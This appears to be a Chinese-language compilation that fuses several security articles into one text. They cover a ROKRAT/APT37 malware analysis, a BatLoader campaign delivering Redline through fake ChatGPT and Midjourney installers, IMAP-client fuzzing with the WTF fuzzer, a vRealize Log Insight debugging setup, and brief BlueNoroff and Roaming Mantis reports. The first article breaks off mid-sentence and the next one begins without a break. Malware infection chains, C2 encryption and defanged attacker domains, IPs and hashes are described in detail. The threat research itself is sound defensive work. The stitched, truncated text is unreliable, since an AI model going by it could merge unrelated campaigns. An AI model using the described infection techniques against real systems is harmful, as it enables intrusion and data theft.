典型的ROKRAT感染鏈ROKRAT運營商在採取新的行為同時,仍夾雜了一些舊習慣,比如,ROKRAT仍然使用惡意Word文檔進行部署。

2022年12月,有人向VirusTotal提交了一份惡意的Word文檔,命名為“.doc”(Case fee_Payment request.doc)。該文件本身包含一個輸入個人和銀行信息的簡短表格。然而,對該文件的仔細檢查顯示,其中提到了韓國的統一部。

10.png

“利比亞項目”誘餌的感染鏈

一旦用戶打開惡意文檔並允許宏執行,就會觸發以下感染鏈:

1.宏通過設置AccessVBOM註冊表項以加載其他代碼來檢查並確保它可以訪問Visual Basic項目。

2.宏解碼一個新的VBA腳本,將其寫入宏中的一個新模塊,然後執行它。這是在不將任何代碼釋放到磁盤的情況下完成的。

3.第二個VBA腳本運行notepad.exe並將shellcode注入其中。

4.shellcode在notepad.exe中運行,並進入OneDrive下載ROKRAT有效負載並在內存中執行它。

11.png

這裡描述的感染鏈與MalwareBytes在2021年1月報告的非常相似,MalwareBytes也通過將shellcode注入notepad.exe並將RAT加載到內存中來傳播ROKRAT。然而,MalwareBytes研究中描述的樣本的編譯日期是從2019年開始的,而checkpoint發現的新ROKRAT樣本似乎是在2022年12月21日編譯的,距離文件提交給VirusTotal只有六天時間。

此外,在2023年4月發現的另一個文件似乎是同一感染鏈的一部分,只是這次注入的目標進程是mspaint.exe,該文件以朝鮮的核武器為主題。不幸的是,在我們進行分析時,URL不再響應下載負載的請求。但是,這份文件很有可能也是為了傳播ROKRAT。

與Amadey的關聯2022年11月初,一個名為securityMail.zip的文件被提交給了VirusTotal。這個ZIP包含兩個LNK,它們的大小都不到5MB,令人懷疑。 PowerShell命令在兩個LNK中的實現是唯一的,並且僅與ROKRAT和GOLDBACKDOOR LNK感染重疊。然而,這個特定的感染鏈最終傳播了Amadey,這是一種可在網絡犯罪論壇上出售的惡意軟件。 Amadey過去曾被認為是Konni開發的,Konni組織與APT37的背景類似。

12.png

“安全郵件”誘餌的感染鏈,打開這些LNK中的任何一個都會產生惡意流程:

1.PowerShell命令從LNK中提取一個誘餌HTML文件,並將其放入磁盤,其方式與ROKRAT感染鏈類似:

13.png

2.這個PowerShell還從包含DLL的LNK中提取一個ZIP文件。然後將DLL作為mfc100.dll放入磁盤。

3.PowerShell最終也從LNK中提取了一個BAT腳本,將其放到磁盤上並執行。

4.BAT腳本運行帶有rundll32.exe的DLL並刪除自身。

13.png

對DLL文件的初步分析顯示,它包含了商業代碼保護解決方案Themida。在分析了它執行的內存轉儲後,我們能夠確認這實際上是Amadey。誘餌HTML文件中包含一個偽造的Kakao銀行的登錄頁面,Kakao是韓國一家受歡迎的銀行。對HTML的進一步分析表明,它不是用於密碼釣魚,而是用來隱藏攻擊者的意圖。

15.png

偽造Kakao銀行登錄頁面

ROKRAT技術分析ROKRAT只是APT37使用的許多自定義工具之一,但它絕對是通用且強大的。 ROKRAT主要側重於運行額外的有效負載和大量的數據竊取。它的CC功能依賴於雲基礎設施,包括DropBox、pCloud、Yandex cloud和OneDrive。 ROKRAT還收集有關計算機的信息,以防止被其他競爭者再次感染。

雖然在過去幾年中,ROKRAT並沒有發生重大變化,但其破壞力依然不容小覷,這可以歸因於它巧妙地使用內存執行,將CC通信偽裝成潛在的合法云通信,以及額外的加密層,以阻礙網絡分析和逃避網絡簽名。因此,最近發表的關於ROKRAT的文章並不多。

通用惡意軟件結構ROKRAT的大多數樣本都有一個非常簡單的WinMain函數。到目前為止分析的所有樣本都包含一個數據收集功能(CollectMachineData,如下圖所示),該功能在主RAT線程(MainRATThread)執行之前執行。這個線程初始化RAT並運行一個循環,以嘗試從CC獲取命令,然後解析並執行它們。

WinMain函數中嵌入了兩個額外的功能,我們只在樣本的一個子集中觀察到了這兩個功能。第一個檢查RAT是否能夠寫入TEMP目錄(CheckTemp,如下圖所示)。第二個創建了一個線程(KillCertainProcessesThread),用於停止與以前利用Hancom Office漏洞的感染載體相關的某些進程。

16.png

ROKRAT中WinMain函數的示例

受害目標分析ROKRAT在執行時調用的第一個函數旨在收集有關受感染計算機的數據。在初始攻擊階段,這可能有助於攻擊者區分這是否是一個期望的目標,然後採取相應的行動。

在這個函數(以及許多其他函數)中,ROKRAT使用加密字符串來防止靜態分析看不到使用的一些技術。此處收集的信息包括程序是否在WOW64上運行(表示32位應用程序在64位窗口上運行)、vmtoolsd.exe的版本(VMWare Tools Daemon,如果已安裝)、註冊表中的SMBIOS數據以及註冊表中的系統BIOS版本。

RAT還收集用戶名、計算機名和RAT正在執行的可執行文件的完整路徑。後者很重要,因為感染鏈通常涉及將ROKRAT PE文件注入現有進程的內存。換言之,這使攻擊者能夠查看ROKRAT是否在預期的進程中執行,如powershell.exe或notepad.exe。最後,該函數檢查可執行文件是否有權在C:\Windows下創建用於寫入的文件。

17.png

CollectMachineData收集有關受感染計算機的各種信息

雖然在上述函數中收集了大量目標的數據,但在ROKRAT開始接受命令之前,還有另一個數據收集函數在主RAT線程的上下文中運行。第二個函數檢查調用IsDebuggerPresent API,將結果存儲為字符(0或1)。此外,它還調用了一個函數來獲取計算機的屏幕截圖。

將執行在主線程中執行的數據收集,每次ROKRAT嘗試獲取命令時發送收集的數據。

在同一函數中,一些示例還檢查是否有一個名為360Tray.exe的正在運行的進程,該進程是名為360 Total Security的防病毒軟件的一部分。結果存儲在一個全局布爾變量中,並在用於執行shellcode有效負載的單獨函數中訪問。有趣的是,如果找到了進程,ROKRAT會將等待shellcode完成運行的超時時間從24秒增加到48秒。如果shellcode運行超過超時時間,並且之前未檢測到360Tray.exe,ROKRAT將嘗試終止shellcode線程。

如前所述,一些ROKRAT示例執行一個名為KillCertainProcessesThread的線程。這個線程阻止了兩個進程:gbb.exe和gswin32c.exe,它們負責解析Hancom Office中的postscript數據。過去,ROKRAT樣本來自惡意的HWP文檔,這些文檔利用這些進程來獲取代碼執行。最有可能的是,這是在試圖清除之前活動中的任何利用痕跡時留下的代碼。

ROKRAT沒有為這些進程名稱使用硬編碼或加密的字符串,而是包含一個簡單的哈希算法,該算法基於整數值確定進程名稱。它的工作方式如下:

18.png

CC通信在我們分析的每個ROKRAT樣本中,惡意軟件配置包含一個代表云基礎設施的ID號,以及使用它的API令牌。 ID號可以具有以下值,以對應不同的雲提供商,以及允許RAT與本地計算機通信的測試模式:

1 -本地計算機(無雲)

3 - Dropbox

4 - pCloud

5 - Yandex

19.png

雲存儲提供商的Switch case語句

進一步的分析表明,通常有兩種CC配置,一種用作主要基礎設施,另一種用作備份。在我們發現的最新樣本中,主要的CC是pCloud,次要的是Yandex Cloud。

ROKRAT從初始化令牌開始,然後從CC獲取文件夾內容,以確保它具有訪問權限並且令牌有效:

20.png

列出pCloud中文件夾目錄的GET請求標頭

ROKRAT使用的文件的名稱是基於GetTickCount API和rand API的隨機值生成的,並以執行時間作為依據。

ROKRAT向服務器上傳一個文件,其中包含有關受害計算機的以下信息:

硬編碼值0xBAADFEDE–稍後在CC通信中使用;

IsDebuggerPresent值;

之前保存到以下路徑的惡意軟件的屏幕截圖:%TEMP%\

進程數據—每個工作進程的pid:

Tick Count;

XOR密鑰–用於解密CC中的命令和有效負載;

生成的文件名-稍後用於下載和執行某些命令中的有效負載;

IsWow64Process標識;

Windows版本;

計算機名;

使用者名稱;

計算機類型—通過查詢HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mssmbios\Data下的SMBiosData註冊表值獲得;

VMware工具版本數據;

系統BIOS版本;

為了進一步隱藏其踪跡,ROKRAT將收集到的有關計算機的數據標記為MP3:

21.png

將從受害計算機收集的加密數據發送到pCloud的POST請求標頭

首先,使用一個隨機的四字節密鑰對數據進行異或運算。由於這個原因,數據以硬編碼的四字節值0xBAADFEDE開始。由於攻擊者知道硬編碼的值,他們可以通過使用0xBAADFEDE對異或數據的前四個字節進行異或來獲得異或密鑰。然後用AES-CBC對異或數據進行加密。最後,使用硬編碼的RSA公鑰對AES密鑰進行加密,以確保只能使用RSA私鑰對有效負載進行解密。

儘管CC通信已經在HTTPS流量中加密,但ROKRAT通過使用AES加密上傳到CC的數據進一步進行了加密。當惡意軟件初始化時,它會生成兩個隨機的16字節值,作為用於加密命令和有效負載的AES密鑰的基礎。惡意軟件還附帶了一個硬編碼的16字節值,然後對兩個隨機值進行異或。結果是兩個AES密鑰,一個用於加密和解密命令,另一個用於加密和解密有效負載。

ROKRAT命令每個命令都由一個字符標識。有些命令採用參數,並且這些參數是在命令ID字符之後提供的。在識別出正確的命令後,代碼會根據命令的類型解析參數。下表列出了研究人員在ROKRAT中發現的命令,以及它們預期的參數和操作:

22.1.png

22.2.png

在收到清理命令(d)後,ROKRAT運行以下命令來刪除惡意軟件最初未使用的持久性機制。它們可能與感染後的活動有關。

23.png

在接收到命令1-4後,ROKRAT創建一個名為out.txt的文件,其中包含有關係統的信息:

24.png

總結我們介紹了臭名昭著的APT37的最新活動,介紹了幾種不同的感染鏈,其中大多數導致ROKRAT有

5月初,eSentire威脅響應小組(TRU)發現了一起進行中的BatLoader活動,該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁:

• ChatGPT是一款人工智能聊天機器人,於2022年11月發布,自那以後就大受歡迎。

• Midjourney是一項生成式人工智能服務,通過該服務,用戶可以提交文本提示來生成圖像。

這兩種AI服務都極受歡迎,但缺少第一方獨立應用程序(即用戶通過其Web界面與ChatGPT進行交互,而Midjourney使用Discord)。

威脅分子利用了這一空檔,企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。

在最新的活動中,BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月,TRU發現了一系列新註冊的BatLoader域名,其中包括chatgpt-t[.]com。

概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中,感染可以追溯到谷歌搜索“chatbpt”,這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面:

1.png

圖1. ChatGPT冒充頁面。

下載鏈接指向advert-job[.]ru,然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。

2.png

圖2. 追根溯源後發現,HTTP事務指向job-lionserver[.]site上的最終下載。

Chat-GPT-x64.msixChat-GPT-x64.msix(md5hash:86a9728fd66d70f0ce8ef945726c2b77)是一種用於安裝應用程序的Windows應用程序包格式。

3.png

圖3. Chat-GPT-x64.msix文件屬性。

Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名:

4.png

圖4. Chat-GPT-x64.msix簽名細節。

仔細檢查該包的內容,我們可以看到安裝過程中使用的各項資產:

5.png

圖5. MSIX包中的應用程序資產。

查看AppXManifest文件,我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序(Advanced Installer)版本20.2創建而成

6.png

圖6. MSIX文件屬性。

7.png

圖7. MSIX文件屬性和元數據。

在高級安裝程序中打開包,我們可以看到該應用程序將啟動一個可執行文件(ChatGPT.exe)和一個PowerShell腳本(Chat.ps1)。

8.png

圖8. Chat-GPT-x64.msix起始點和權限。

9.png

圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令

安裝程序還將使用ChatGPT徽標,針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。

點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導:

10.png

圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。

文件簽名對於MSIX包而言至關重要,安裝程序不允許你在沒有可信證書籤名的情況下執行下一步(Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名)。

11.png

圖11. 若沒有有效的簽名,Chat-GPT-x64.msix安裝將無法進行下去。

在安裝過程中,Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。

12.png

圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。

Chat.ps1是一個基本的PowerShell下載載體。在這種情況下,它下載Redline信息竊取器,並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求:

• Start.php:記錄感染的開始時間以及受害者的IP地址。

• Install.php:記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。

攻擊者執行這些操作是為了便於跟踪統計信息,從而使他們能夠輕鬆識別成功感染的受害者,並圍繞特定的活動或主題跟踪度量指標。

13.png

圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。

這個Redline樣本(md5hash 7716F2344BCEBD4B040077FC00FDB543)經配置後,使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81,這個Bot ID暗指這起活動中使用的兩個誘餌(ChatGPT和MidJourney)。

14.png

圖14. Redline文件屬性。

仔細檢查ChatGPT.exe,TRU發現該可執行文件使用Microsoft Edge WebView2,在安裝後的彈出窗口中加載https://chat.openai.com/。

15.png

圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。

其主要功能是轉移用戶的注意力,確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。

16.png

圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。

Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中,TRU觀察到類似的感染陰謀,企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix,這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。

17.png

圖17. Midjourney-x64.msix安裝。

在這個案例中,安裝程序執行一個經過混淆處理的PowerShell腳本(Chat-Ready.ps1),該腳本最終與圖13中所示的腳本相同,只是使用了不同的C2域。

18.png

圖18. Midjourney-x64.msix PowerShell執行。

19.png

圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。

我們做了什麼? • TRU針對全球客戶的環境進行了積極主動的威脅搜索,以搜索已識別的應用程序包。

• 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。

• 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶,並提供了補救指導和支持。

你能從中學到什麼? • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是,當系統管理員想方設法控制對這些平台的訪問時,用戶可能會另闢蹊徑以訪問它們。

• 威脅分子一直熱衷於利用這些大受歡迎的工具,承諾無限制地訪問。

• 我們的遙測數據顯示,濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降,這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而,最近這起活動表明,惡意廣告仍然可以避開審核員的視線,向受害者投遞惡意軟件。

該活動與之前發現的BatLoader活動有幾個相似之處:1. 使用谷歌搜索廣告冒充主要的品牌和服務。

2. 使用高級安裝程序創建安裝包。

3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。

4. 竊取信息的惡意軟件攻擊載荷。

我們威脅響應小組(TRU)團隊的建議:• 提高對偽裝成合法應用程序的惡意軟件的意識,並在貴公司的網絡釣魚和安全意識培訓(PSAT)計劃中加入相關示例,以教育員工如何保護自己免受類似的網絡威脅。

○切記,一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性,而不是試圖把每個人都變成安全專家。

• 保護端點免受惡意軟件侵害。

○確保反病毒特徵是最新的。

○使用下一代反病毒軟件(NGAV)或端點檢測和響應(EDR)產品來檢測和遏制威脅。

• Windows Defender應用程序控制提供了管理打包應用程序(MSIX)的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

網絡協議是一組規則,定義了用於解釋計算機發送的原始數據的標準格式和過程。網絡協議就像計算機的通用語言。網絡中的計算機可能使用截然不同的軟件和硬件;協議的作用就是使其可以相互通信。

許多網絡協議服務於不同的目的,其中一些可能很複雜。由於其固有的複雜性,網絡應用程序中的安全漏洞是不可避免的。與其他攻擊媒介相比,網絡應用程序中的安全漏洞通常會產生更顯著的安全影響,因為攻擊者可能能夠利用這些漏洞在易受攻擊的計算機上獲得遠程代碼執行狀態,而無需任何用戶交互。我們已經在現實生活中看到過此類攻擊,例如臭名昭著的WannaCry勒索軟件,它利用簡單消息塊(SMB)協議(稱為EternalBlue)通過加密數據和要求以比特幣加密貨幣支付贖金來攻擊MicrosoftWindows計算機。迄今為止,據估計,這種惡意軟件已經影響了150個國家的20多萬台電腦。

強化網絡應用程序是一項關鍵任務,可以最大限度地減少WannaCry等攻擊媒介。研究人員致力於確保使用網絡協議模糊測試等工具正確保護許多最流行的網絡應用程序。這種漏洞發現技術將格式錯誤的數據包發送到正在測試的應用程序,以發現網絡協議實現中的漏洞。發現並報告這些漏洞,特別是在常用應用程序中,有助於降低每個人的網絡風險。

Fortinet的研究人員與其他威脅研究團體一起幫助實現這一目標。在本博客中,我們記錄了審核和模糊測試MicrosoftInternet消息訪問協議(IMAP)客戶端協議的過程。雖然我們沒有發現任何新漏洞,但詳細的指南可以幫助其他人在他們的威脅發現和分析工具庫中添加或改進模糊技術策略。

為什麼選擇IMAP客戶端協議?網絡應用程序使用客戶端和服務器架構來交換數據。然而,即使它們共享相同的網絡協議規範,客戶端和服務器之間的數據解釋也是不同的。數據解釋通常由在各個組件中實現的解析器按照單獨的規範執行。因此,研究人員必須同時檢查客戶端和服務器,以確保解析器正確實現。

我們的經驗表明,在審計安全實現時,服務器比客戶端更受研究人員的關注。但是,不太安全的客戶端也可能包含可以被利用的高價值目標。但是由於我們沒有看到供應商公開報告的許多IMAP客戶端安全問題,我們決定研究IMAP客戶端實現,同時獲得一些關於開源模糊器WhatTheFuzz(WTF)的實踐經驗。 WTF是一種分佈式、代碼覆蓋引導、可定制、跨平台的基於快照的模糊器,旨在攻擊運行在MicrosoftWindows上的用戶或內核模式目標。

本文中沒有漏洞披露,因為我們沒有在MicrosoftIMAP客戶端中發現任何安全問題。但我們確實分享了一些兔子洞、我們遇到的限制以及調試WTF模糊器模塊的提示和技巧。我們還將介紹一個特別有趣的IMAP響應輸入的逆向過程,該輸入最初似乎很脆弱,但在深入研究代碼後發現是良性的。

了解基本IMAP協議IMAP客戶端支持用於不同IMAP操作的各種命令。客戶端命令開始一個操作並期望來自服務器的響應。每個客戶端命令都以稱為“標記”的標識符作為前綴。對於客戶端發送的每個命令,這個“標籤”應該是唯一的。通常,客戶端命令如下所示:

1.png

重要的是,客戶端必須嚴格按照規範遵循語法。發送缺少或無關的空格或參數的命令是一個語法錯誤。

IMAP連接包括建立客戶機/服務器網絡連接、來自服務器的初始問候以及客戶機/服務器交互。這些客戶機/服務器交互包括客戶機命令、服務器數據和服務器完成結果響應。

客戶端和服務器傳輸的所有交互都是行的形式,即以回車和換行結尾的字符串。

客戶端需要做的第一件事是在特定端口上與遠程服務器建立連接。在這種情況下,我們使用openssl從終端連接到自定義IMAP服務器。

2.png

注意到服務器狀態響應以“*”為前綴,稱為未標記響應,表示服務器問候,或服務器狀態不表示命令完成(例如,即將發生的系統關閉警報)。

客戶端通常發送的下一個命令是CAPABILITY。 CAPABILITY命令允許客戶端獲取服務器支持的功能列表。未在未標記響應中列出的任何功能都將被標記響應中指示的服務器視為BAD命令。

3.png

狀態響應可以加標籤或不加標籤。標記狀態響應指示客戶端命令的完成結果(OK、NO或BAD狀態),並具有與命令匹配的前綴標記。

客戶端必須先向IMAP服務器進行身份驗證,然後才能導航郵箱。有一些IMAP服務器實現允許匿名訪問某些郵箱。像下面的例子一樣,我們的自定義IMAP服務器允許匿名訪問。但是,值得注意的是,經過身份驗證的客戶端的功能列表通常與未經身份驗證的客戶端不同。登錄的客戶端通常包含更多來自IMAP服務器的未鎖定功能。

4.png

現在客戶端已登錄,它可以列出郵箱中存在的文件夾

5.png

這樣,我們就可以看到郵箱中存在的文件夾層次結構。文件夾具有名稱屬性,在括號中表示。一些屬性對於遍歷文件夾層次結構很有用,例如HasNoChildren和HasChilden。 HasNoChildren屬性的存在表明郵箱沒有當前經過身份驗證的客戶端可訪問的後來郵箱。

在知道郵箱的文件夾結構後,客戶端可以使用SELECT命令在該文件夾上打開一個會話,以便訪問郵箱中的郵件。

6.png

當返回選中狀態時,服務器必須先將上述未標記的數據發送給客戶端,然後再向客戶端返回OK。如果選擇狀態建立成功,則稱客戶端處於選擇狀態,可以從郵箱中搜索和下載消息。

7.png

SEARCH命令在郵箱中搜索與給定搜索條件匹配的郵件。搜索條件由一個或多個搜索關鍵字組成。它可以支持更全面的搜索條件,例如查找具有指定字段名稱的標題並且在標題的文本中包含指定字符串的消息。上面的示例顯示了最簡單形式的SEARCH命令,它將搜索服務器中的所有可用消息。未標記的響應表明自定義IMAP服務器中有一條消息可用。

一些客戶端提供電子郵件消息的預覽。這可以通過使用FETCH命令僅下載消息標頭來完成。而UIDFETCH命令將下載整個電子郵件消息並將其本地存儲在客戶端應用程序中。

8.png

IMAP客戶端—服務器的狀態和流程圖

使用IMAP客戶端模糊器的可能性在現代模糊控制中,需要有一個線束與主模糊控製程序一起驅動模糊控制操作。雖然這不是強制性的WTF模糊器,一個專用的模糊器模塊是必需的。如果你有AFL/WinAFL的經驗,很多時間將花費在編寫一個有效的harness程序上,但是你將花費大部分時間開發和排除WTF模糊器模塊的故障。在內部,WTF模糊器充當模擬器,以編程方式模擬由模糊器模塊驅動的內存轉儲中的代碼。基本上,模糊器模塊的核心由函數斷點和斷點處理程序組成。這些斷點處理程序由用於不同目的的邏輯組成,例如攔截和修改目標使用的輸入數據,以及復制功能(如I/O操作、註冊表操作和線程調度)。該項目的存儲庫為模糊器開發過程提供了全面的指導方針。

首先,必須確定要模糊化的目標組件,並轉儲一個虛擬映像的快照,以供模糊化模塊使用。根據來自項目存儲庫的文檔,該快照映像通常取自感興趣的目標模塊的入口點,其中解析器例程使用輸入數據。在MicrosoftIMAP客戶端中,InternetMail.dll是實現IMAP和POP3客戶端協議的目標組件。這個DLL模塊由Windows服務宿主進程託管,也被稱為svchost.exe。

WindowsMail是與該模塊交互的前端用戶界面(UI),用戶可以通過該界面設置IMAP帳戶,並從郵件服務器下載郵件消息。在編寫我們的IMAP客戶端模糊器模塊時,我們遇到了許多障礙,幸運的是,其中一些在項目的問題跟踪器中有部分記錄。儘管大多數障礙都是針對於你所致力於的任何目標,我們認為記錄這些挑戰和我們的工作區可能會有所幫助。

為IMAP客戶端模糊器模塊開發做準備為WTF模糊器編寫一個模糊器模塊並不是一件容易的事。這是因為我們試圖從內存轉儲中模擬代碼。在軟件模擬世界中,你不能期望模擬代碼的行為與在本機設備上執行的代碼相同。因此,要使模擬按預期工作,需要解決許多障礙。因此,在開始之前確定適當的工具來跟踪和調試模糊器模塊是至關重要的。

WTF模糊器支持兩種類型的跟踪文件,覆蓋跟踪日誌和Tenet跟踪文件。基本上,覆蓋跟踪日誌包含模擬器正在執行的每條指令的跟踪。它有助於診斷大多數模糊器模塊問題。 Tenet跟踪文件包含每條執行的指令以及每條指令操作的內存/堆棧數據。 Tenet插件只能使用一個Tenet跟踪文件。 Tenet是一款出色的跟踪記錄和回放IDAPro插件,可用於離線調試。 WTF模糊器生成的Tenet跟踪文件可以通過IDAPro回放。這樣,它允許用戶探索已執行的代碼,甚至分析讀取/寫入內存/堆棧的數據,從而使調試和故障排除模糊器模塊變得更加容易。

但是,需要注意的是,如果記錄的跟踪文件太大,插件需要很長時間來處理它。例如,一個幾千兆字節的跟踪文件很容易占據大部分主機內存,這可能無法通過IDAPro重播跟踪。作為一種解決方法,我們向WTF模糊應答器引入了一個“——trace-start -address”命令行參數,以便模糊應答器只有在到達指定地址時才開始跟踪。這個新引入的命令行參數顯著減少了跟踪文件的大小。然而,這種過濾機制的結果在某些情況下並不是很成功。我們有時仍然會得到一個大的跟踪文件,因為所關心的函數中的起始地址不是唯一的。例如,函數可能會在多個不確定的位置觸發,導致跟踪器意外觸發,這就違背了我們的目標。

99.png

經過測試,我們發現WinDbg Preview中的time - trip - debugging (TTD)特性也可以用於離線調試。 WinDbg預覽將附加一個正在運行的進程,並在目標進程中註入一個TTD專有的跟踪DLL。注入的跟踪程序DLL負責捕獲目標進程的運行時執行,並將執行的代碼保存在存儲在物理磁盤中的跟踪文件中。為了模擬這個過程,我們創建了一個簡單的IMAP服務器,它讀取以JSON格式定義的IMAP數據包,並在IMAP連接建立時將數據包發送給連接的客戶端Windows Mail。同時,WinDbg Preview被附加到Windows主機進程,用於服務記錄代碼執行情況。這種方法的缺點是每次只能手動生成一個執行跟踪。但是,TTD仍然是一個有用的特性,可以補充離線調試體驗。

10.png

為目標可執行文件生成代碼執行跟踪的替代方法

另一個用例通過比較TTD和Tenet生成的跟踪信息,利用差異調試技術對模糊器模塊產生的更多問題進行深度故障排除。儘管如此,Tenet仍然是在模糊器模塊開發過程中產生跟踪文件來調試更複雜問題的首選。

接下來我們將分享一些技巧,這些技巧可以直接從覆蓋跟踪日誌中而不是使用Tenet跟踪文件來確定一些更明顯的問題。這有望為你節省模糊器模塊開發的時間。

開發IMAP客戶端模糊器模塊WTF模糊器模塊在WTF框架之上運行。每個模糊器模塊必須實現WTF框架註冊的回調函數,然後由WTF可執行文件觸發。

IMAP包括創建、刪除和重命名郵箱、檢查新消息、永久刪除消息、設置和清除標誌以及選擇性獲取消息屬性和文本的操作。因此,為IMAP協議實施一個全面的突變策略可能會耗時。在本例中,我們只關注Windows Mail用於與IMAP服務器交互的特定IMAP命令。首先,我們將WinDbg預覽調試器附加到目標進程,以生成Windows Mail與真實的IMAP服務器(Gmail)交互的執行跟踪,以收集IMAP事務中的典型命令。清單1顯示了調試器的輸出,包括由Windows Mail客戶機發送到Gmail服務器的IMAP命令。

11.1.png

11.2.png

清單1:WindowsMail客戶端發送的調試器輸出IMAP命令

這樣我們的變異方法側重於NAMESPACE、LIST、SELECT、SEARCH和FETCH命令的IMAP響應。我們決定跳過對UIDFETCH命令的模糊測試,因為此響應處理程序涉及對本地文件系統中的消息數據庫的讀/寫。不幸的是,即使WTF默認提供了I/O子系統模擬框架,對於我們的案例來說,這個操作也無法輕鬆實現。我們認為這是一種合理的權衡,因為大多數重要的解析操作(如消息頭解析器)都在FETCH命令中進行。

IMAP數據包由此處規範定義的一系列結構化文本消息組成。因此,我們的IMAP數據包變異策略也需要具有結構感知能力。受著名的結構感知突變庫libprotobuf-mutator的啟發,我們使用JSON文件格式來存儲每個突變的IMAP響應。這個JSON文件將作為模糊器模塊的輸入測試用例。根據規範,JSON對象的關鍵組件是ResponseParams,它由IMAP客戶端將解釋的核心數據組成。儘管如此,我們的突變器將專注於從ResponseParams、ResponseStatus和ResponseType中改變數據。

12.1.png

12.2.png

12.3.png

12.4.png

12.5.png

清單2:示例IMAP響應輸入測試用例

本文主要講的是理論上的可能性,下一篇文章,我們會詳細介紹實踐中遇到的一些挑戰。

0x00 前言本文記錄從零開始搭建vRealize Log Insight漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

vRealize Log Insight安裝

vRealize Log Insight漏洞調試環境配置

數據庫操作

0x02 vRealize Log Insight安裝參考資料:https://docs.vmware.com/en/vRealize-Log-Insight/index.html

1.下載OVA文件下載頁面:https://customerconnect.vmware.com/evalcenter?p=vr-li

下載前需要先註冊用戶,之後選擇需要的版本進行下載

2.安裝(1)在VMware Workstation中導入OVA文件

(2)配置

訪問配置頁面https://

選擇Starting New Deployment,設置admin用戶口令

3.開啟遠程調試功能(1)查看所有服務的狀態

1.png結果如下圖

下载.png

定位到web相關的服務為loginsight.service

(2)查看loginsight.service的具體信息

2.png

結果如下圖

3.png

定位到服務啟動文件:/usr/lib/loginsight/application/bin/loginsight

(3)查看進程參數

執行命令:ps aux|grep java

返回結果:

4.png 5.png 6.png 7.png結果分析如下:

8.png 9.png

0x03 數據庫操作1.重置web登陸用戶admin口令實現文件:/usr/lib/loginsight/application/sbin/li-reset-admin-passwd.sh

從文件中可以獲得數據庫操作的相關信息,如下圖

下载 (1).png

2.連接數據庫的命令參數實現文件:/usr/lib/loginsight/application/lib/apache-cassandra-3.11.11/bin/cqlsh-no-pass

文件內容如下:

10.png 11.png 12.png

3.連接數據庫的用戶名口令13.png

4.連接數據庫的配置信息14.png

(1)使用封裝好參數的文件

15.png

(2)使用參數連接

16.png

從返回結果可以看到數據庫使用了CQL(Cassandra Query Language)

查詢用戶配置的命令:

17.png

5.界面化操作數據庫18.png 下载 (2).png

0x04 小結在我們搭建好vRealize Log Insight漏洞調試環境後,接下來就可以著手對漏洞進行學習。

sl-dark-blue-binary-malware-magnifier-city-world-1200-1200x600.jpg

BlueNoroff引入繞過MotW的新方法早2022年底,研究人員就發布過BlueNoroff組織的活動,這是一個以盜竊加密貨幣而聞名的出於經濟動機的組織,通常利用Word文檔,使用快捷方式文件進行初始攻擊。不過最近的追踪發現,該組織採用了新的方法來傳播其惡意軟件。

其中一種是使用.ISO(光盤映像)和VHD(虛擬硬盤)文件格式,旨在避開Web標記(MotW)標誌。 MOTW是Windows Internet Explorer通過強制使IE瀏覽器瀏覽存儲下來的網頁在安全的位置的一種機制,目的是增強安全性。

該組織似乎也在嘗試用新的文件類型來傳播其惡意軟件。研究人員觀察到一個新的Visual Basic腳本、一個以前未見過的Windows批處理文件和一個Windows可執行文件。

1.png

分析顯示,該組織使用了70多個域名,這意味著他們直到最近都非常活躍。他們還創建了許多看起來像風險投資和銀行域名的假域名,這些域名大多模仿日本風險投資公司,表明該組織對日本金融機構有著廣泛的興趣。

Roaming Mantis使用了新的DNSChanger(DNS解析器)Roaming Mantis(又名Shaoye)是一個針對亞洲國家的知名攻擊組織。從2019年到2022年,這名攻擊者主要使用“smishing”來提供其登陸頁面的鏈接,目的是控制受攻擊的安卓設備並竊取設備信息,包括用戶憑據。

